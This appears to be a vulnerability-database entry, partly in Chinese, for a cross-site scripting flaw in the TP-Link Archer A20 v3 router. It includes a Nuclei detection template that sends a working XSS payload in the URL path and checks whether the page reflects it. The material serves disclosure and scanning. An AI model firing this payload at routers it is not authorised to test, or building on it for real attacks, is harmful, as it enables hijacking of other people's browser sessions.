CVE-2024-57514: TP-Link Archer A20 v3 Router - Cross-site Scripting

日期: 2025-08-01 | 影响软件: TP-Link Archer A20 v3 Router | POC: 已公开

漏洞描述

The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.

PoC代码[已公开]

id: CVE-2024-57514

info:
  name: TP-Link Archer A20 v3 Router - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
  reference:
    - https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57514
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-57514
    cwe-id: CWE-79
    epss-score: 0.13596
    epss-percentile: 0.93979
  metadata:
    max-request: 1
    vendor: tp-link
    product: tp-link-archer-a20-v3-router
  tags: cve,cve2024,tplink,router,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<style onload=alert`document.domain`;", "Index of")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022071030919a5f7f551d0d820ab6ba33a41edd0c0f3b328a7ccb0708959f5de40fa02206760738a94d22313f3d236398237ce9773edc78f031cc2b8416402ad24c2cf14:922c64590222798bb761d5b6d8e72950

相关漏洞推荐